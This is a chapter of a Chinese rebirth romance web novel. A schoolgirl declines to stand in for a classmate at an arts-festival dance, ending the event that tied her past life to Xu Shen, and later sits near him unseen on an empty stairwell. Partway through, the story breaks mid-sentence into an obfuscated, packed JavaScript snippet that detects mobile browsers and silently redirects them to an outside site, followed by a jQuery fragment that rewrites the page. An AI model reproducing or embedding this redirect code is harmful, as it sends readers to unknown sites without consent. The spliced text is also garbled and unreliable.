谢宛之满脸的不情不愿,前后左右看了一圈,得到的都是肯定的眼神,仍然不死心企图挣扎一下:“周老师,我……”
老周没给她机会,很不高兴地说:“点到你了就大大方方地站起来,怎么磨蹭这么久。你一个人耽误大家一分钟,这一个班就让你耽误了四十分钟。”他大手一挥,“好了,班长你等会把她报过去,现在开始上课。”
谢宛之:……
展新月看也没朝那边看一眼。
几乎是刚一下课,谢宛之就忿忿地凑了过来。还没等她开口,时子骞先一步站了起来,看了她一眼,朝着外边走。
谢宛之愣了一下,要出口的话在舌尖哽了一下,目光在他身上扫过,最后小声对着展新月说:“他手怎么了?”
时子骞手指上缠着纱布,是昨天在医院处理完伤口后包的。展新月想起昨天医生给他清创时,她看着都忍不住别过头去,他却一声都没有吭。
这位别人嘴里的大少爷,还真是一点都不娇气。
“我哪知道,可能在哪伤着了呗。”她说。
“啧,咱们班最近是怎么了,这手轮流受伤,先是你,又是……不会是风水不好吧?”
“别人风水怎么样我不知道,但我知道你今天风水一定不好。”辛文华冲她笑嘻嘻地说。
谢宛之总算是想起自己原本要说什么,连声哀嚎:“对啊!我今天怎么这么倒霉啊,这么多人偏偏就抽到我!”
“我都说了你就不该今天回来,你看这不让你赶上好事了吗?还是老班有眼光,我已经开始期待看到你曼妙的舞姿了。”辛文华说。
谢宛之白他,“你再嘴贱信不信我立马去找老班,告诉他你主动要替我去。”
“我一男的跳什么舞,你别想拉我下水啊。”辛文华立刻逃也似地转回去了。
“男的怎么不能跳舞了!老班可没说只抽女的。”谢宛之朝着辛文华的背影比了一个中指,又跟着展新月吐槽:“学生会是不是神经病啊,哪有这样强迫各个班出人的。还排什么舞,是觉得我们一天很闲吗?老周也是,我早就觉得他对我有意见,他肯定是故意针对我的!”
展新月无意拆台,轻描淡写地陈述事实:“他应该记不得你学号。”
“那也不一定……”谢宛之依旧在抱怨:“总之他是真的很烦啊!而且为什么偏偏抽到是跳舞,如果是唱歌也就算了,可是跳舞我是真一窍不通。”
说到这里,她话锋一转,委委屈屈地看向展新月。“怎么办啊月月,我真的不想去啊,我没学过跳舞,到时候绝对会丢脸死的。”
“那你去找老班说说吧,说不定他会放过你的。”展新月平静地说。
“你是不是对他这个人有什么误解啊,他会那么善解人意?”谢宛之叫道,“他才不会管我的死活,说不定会嫌我事多,除非……”她欲言又止。
展新月只当听不出她的言外之意,没接话。
“除非……”她满眼期待地看着展新月,接着说:“月月你能不能替我去啊?老班那个人只要事情能解决他都不会多问,只要有人去他不会在乎到底是谁去的。”
“为什么呢?我也没学过跳舞。”
“但是你学动作肯定比我快多了呀,你是知道的,上学期体育课学太极,一个学期了我都没记住动作。而且,你看你长得这么漂亮,多适合去跳舞啊,你去跳绝对可以惊艳全场,真的!”
“好不好嘛月月,这个排舞肯定要耽误很多时间的,我都快班上垫底了,哪有时间去搞这些啊。你成绩好,就帮帮我嘛。”
展新月静静地听着,前世的她被别人这样央求一定为难极了,可现在的她只觉得想笑。
谢宛之见她一直不说话,当她态度松动了,于是趴在她的桌沿,下巴搁在手上,楚楚可怜地看着她:“月月,帮帮我嘛,你忍心看我被折磨吗?好不好嘛,你最好啦……”
上一世也是这样,其实老周原本定下的要去跳舞的人就是谢宛之,奈何她死活不愿去去,软磨硬泡地求着展新月替她去。
展新月也没什么跳舞的天赋,但她向来心软,看不得别人这样低声下气地求她,最后还是同意了。
她记动作记得很慢,前世去排舞时大家大多都有些基础,一个动作学上几遍就记得差不多了,但展新月不行。为了这次表演,她几乎每天都要独自加练很久。
谢宛之仍在变着法地撒娇求她,展新月看似在听,实际上已经神游天外。
前世许慎因为练舞的契机喜欢上她,可原本应该去跳舞的人是谢宛之。最后,他俩还是走到了一起,这算不算也是一种命中注定。
也许原本他俩才是正缘,命运又何苦将她推入局中,以至于落得如此境地。
思及此,她忽然笑了起来。谢宛之被她莫名的笑吓了一跳,盯着她看了半天,说:“你干嘛,中邪了吗?”
展新月依然笑着,伸手拉住了谢宛之的袖子,学着她刚刚的语气温声开口:“好宛宛,那你呢,你忍心看我被折磨吗?我也一点跳舞都不会,要真去了难免要丢人。咱们俩关系这么好,你应该不会想看到我在台上出丑的吧?”
辛文华在前面“噗嗤”一声,又连忙憋住笑,身体都一抖一抖的。
谢宛之被展新月噎了一下,正不知怎么接话,顺势将怒火发泄在辛文华身上:“辛文华,你又犯什么神经!你笑屁啊!”
辛文华没回头,说:“我是在笑,难道这就是传说中的用魔法打败魔法吗?”
“滚你大爷的。”谢宛之捶了他一掌,看一眼展新月,说了句“你不愿意算了”,就瘪着嘴走了。
她走后,展新月先趁着时子骞没在,将他桌上的书翻开,把带来的现金夹了进去。这点钱对他来说应该不算什么,她怕他不愿意收,这会终于找到机会偷偷塞给他。
做完这些,她看着前方黑板发了一会儿呆,而后在桌上趴下了。
这次艺术节是她和许慎所有羁绊的开始,而现在,她亲手将它掐断了。
如果注定你们俩要走到一起,那么这一次,她把缘分还给你们。
白日里她的决定做得坚决,晚上也没有失眠,很快就睡着了,可是夜里她还是梦见了许慎。
梦里许慎牵着她的手,两个人走在一条看不见尽头的小径上,两旁都是金灿灿的麦穗,天际是一轮落日和漫天的霞光。两个人就这么一直走,没有说话。
不知走了多久,太阳落了下去,暮色渐渐压下来。她想问许慎要不要歇一会,一转头,许慎却不见了。
她着急地四处寻找,可周围空空荡荡,只有无边无际的原野,偌大的天幕之下,只有她一个人。回过头,两人走过的小径也只留有她一个人的脚印……
展新月醒来时,窗外夜色深沉,无边无际的黑看不到边界。和梦中一样
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627806|172460||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
巨大的孤独感沉沉地压住了她。她喘不气,只能坐起身,像濒死的人一样大口将氧气吸进肺里。
和梦中一样,现实里她也失去了他。此后,都只剩她独自一人。
十几年,她和许慎之间的羁绊早已融入了彼此的骨血,任何一点微小的变故都足以撕扯得人鲜血淋漓。要将许慎彻底从她的未来中剔除,无异于剜骨之痛。
后半夜她没能再睡着,一个人抱着膝在坐在床上。好容易等到天色稍亮,她揉了揉眉心,翻身下床。
到学校时才六点多,天色蒙蒙亮,校园里空空荡荡,笼罩在沉寂中。
她很少见到这样空旷安静的校园,一个人沿着大的有些空的前广场穿过,整个人钝钝的,像道旁的林木一样似醒非醒。
白日里总显拥挤的楼梯间也是同样的空荡,展新月踏上台阶,整栋楼都还在沉睡着,沉寂得她轻轻的脚步声都清晰可闻。
那种心空的感觉又一次缠上了她,仿佛她一直还在那场梦中从未醒来,始终在这天地之间一个人独行。
突然间,似永夜中一丝微弱的亮光,她听见了低低的哼唱声,那是首很老的英文歌,在楼梯间回荡着,被放大、被拉长——
她愣了愣,慢慢扶住扶手,一阶一阶拾级而上,那声音越来越清晰。
哼歌的人想必也没料到这个点教学楼里会有人,随意切着旋律,清澈的少年音在空荡的楼梯间荡出微微的回音,层层叠叠,引得她的心跟着轻轻一颤。
她终于确定,不是幻觉,不是梦境,她是真的听见了许慎的声音。
距离那歌声的源头半层楼梯之隔,展新月没再上前,缓缓蹲下身,就那么坐在了楼梯台阶上。
半截楼梯之上,许慎曲着腿席地而坐,手上一只圆珠笔悠闲地转来转去。他正在看书,偶尔凝神思索一会,很快有了思路便放松下来,随口哼上两句。
曾经许多人说过许慎聪明,觉得他做什么都游刃有余,不仅成绩好,还多才多艺,会很多种乐器。但实际上,许慎极其有恒心和毅力,对于感兴趣的事会下苦功夫去钻研,学习上也是,高中三年,他永远是第一个来教学楼的,这些都是前世展新月和他相处很久以后才慢慢发觉的。
理智告诉展新月,她此时应该立刻起身离开,可最终她只是将头靠在了楼梯的扶手上,轻轻闭上了眼。
她的心是如此的疲惫,无法不去贪恋此时的片刻安宁。
四下五人,感性在某一刻轻易地压到了理性。如果注定此生两人不会再有牵绊,那么就悄悄放任自己在此停留一会吧,就这一会。
半个楼梯之隔,她能感知到他的存在,而他永远也不会发现她曾来过。
此刻,只有你我,但也仅有此刻。
不知过了多久,楼下开始有了些许人声,校园从沉睡中将醒。
她听见楼上许慎朝着走廊栏杆处走了几步,而后便是他拉高了些的声音:“老白,怎么这么磨蹭。帮我带早饭了没——”
楼下传来男生的回应声:“带了带了。”
许慎继续喊,“走快点,我快饿死了。”
楼下俞白不满地骂骂咧咧起来:“催催催,懒死你吧!我自己都还没顾上吃。”一边骂着,身体还是非常实诚地加快了步子:“还不快下来接你的衣食父母。”
“好嘞好嘞,来了!”许慎应得干脆,三步并作两步地跃下几节台阶。